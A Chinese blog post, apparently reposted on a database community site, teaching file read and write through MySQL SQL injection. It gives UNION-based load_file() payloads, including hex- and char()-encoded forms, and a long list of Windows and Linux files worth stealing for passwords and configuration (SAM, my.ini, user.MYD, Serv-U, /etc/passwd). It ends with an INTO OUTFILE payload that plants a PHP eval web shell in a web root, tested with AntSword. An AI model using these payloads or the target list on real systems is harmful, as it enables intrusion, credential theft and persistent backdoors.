读写操作
Mysql新特性 secure_file_priv 对读写文件的影响,此开关默认是NULL,不允许导入导出。
secure_file_priv 为空的时候,方可读写,由于这个参数不能动态更改,只能在Mysql的配置文件中进行修改,然后重启生效,可以通过命令查看这个属性
select @@secure_file_prive
secure_file_prive为空表示不允许导入导出
secure_file_prive指定文件夹时,表示Mysql的导入导出只能发生在指定的文件夹
secure_file_prive没有设置时,则表示没有任何限制
写入文件的时候还需要看 php.ini 中的 gpc 是否开启,开启的情况下特殊字符 ‘ 都会被转移变成 \’
读取文件
load_file() 读文件
union select 1,2,load_file('C:/boot.ini')
union select 1,2,load_file('C:\\boot.ini')
union select 1,2,load_file(0x433A5C5C626F6F742E696E69)
windows系统常用目录文件
C:/boot.ini 查看系统版本
C:/windows/php.ini php配置信息
c:/windows/my.ini mysql配置文件,记录管理员登录过的mysql用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:/mysql/data/mysql/user.MYD 记录了mysql.user表中数据库连接密码
c:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini 存储了虚拟主机网站路径和密码
c:\\rogram Files\\Serv-U\\ServUDaemon.ini
c:\\windows\system32\\inetsrv\\MetaBase.xml 查看IIS的虚拟主机配置
c:\\windows\\repair\\sam 存储了WINDOWS系统初次安装的密码
c:\\Program Files\\ Serv-U\\ServUAdmin.exe 6.0版本以前的serv-u管理员密码存储于此
c:\\Program Files\\RhinoSoft.com\\ServUDaemon.exe
C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere*.cif文件 存储了pcAnywhere的登陆密码
c:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf apache文件
C:\\apache\\conf\\httpd.conf 查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\\APACHE\\Apache2\\conf\\httpd.conf apache文件
C:\\Program Files\\mysql\\my.ini mysql配置文件,记录管理员登录过的mysql用户名和密码
C:\\mysql\\data\mysql\\user.MYD 存在MYSQL系统中的用户密码复制
Linux/UNIX系统常见目录文件
/usr/local/app/apache2/conf/httpd.conf apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/sysconfig/iptables 从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf apache配置文件
/etc/rsyncd.conf 同步程序配置文件
/etc/my.cnf mysql的配置文件
/etc/redhat-release 系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))复制
写文件
into outfile 文件写入有空格
into dumpfile 文件写入没有空格
需要满足:gpc关闭、目录可写
union select 1,2,'<?php eval($_POST[\'smoon\']);?>' into outfile 'C:/inetpub/wwwroot\/target_sys.com/1.php'
蚁剑测试
文章转载自老徐今天也很棒,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。
评论
相关阅读
墨天轮个人数说知识点合集
JiekeXu
417次阅读
2025-04-01 15:56:03
MySQL数据库当前和历史事务分析
听见风的声音
412次阅读
2025-04-01 08:47:17
MySQL 生产实践-Update 二级索引导致的性能问题排查
chengang
378次阅读
2025-03-28 16:28:31
【活动】分享你的压箱底干货文档,三篇解锁进阶奖励!
墨天轮编辑部
335次阅读
2025-04-17 17:02:24
MySQL 9.3 正式 GA,我却大失所望,新特性亮点与隐忧并存?
JiekeXu
334次阅读
2025-04-15 23:49:58
3月“墨力原创作者计划”获奖名单公布
墨天轮编辑部
322次阅读
2025-04-15 14:48:05
云和恩墨杨明翰:安全生产系列之MySQL高危操作
墨天轮编辑部
297次阅读
2025-03-27 16:45:26
openHalo问世,全球首款基于PostgreSQL兼容MySQL协议的国产开源数据库
严少安
281次阅读
2025-04-07 12:14:29
记录MySQL数据库的一些奇怪的迁移需求!
陈举超
184次阅读
2025-04-15 15:27:53
[MYSQL] 服务器出现大量的TIME_WAIT, 每天凌晨就清零了
大大刺猬
178次阅读
2025-04-01 16:20:44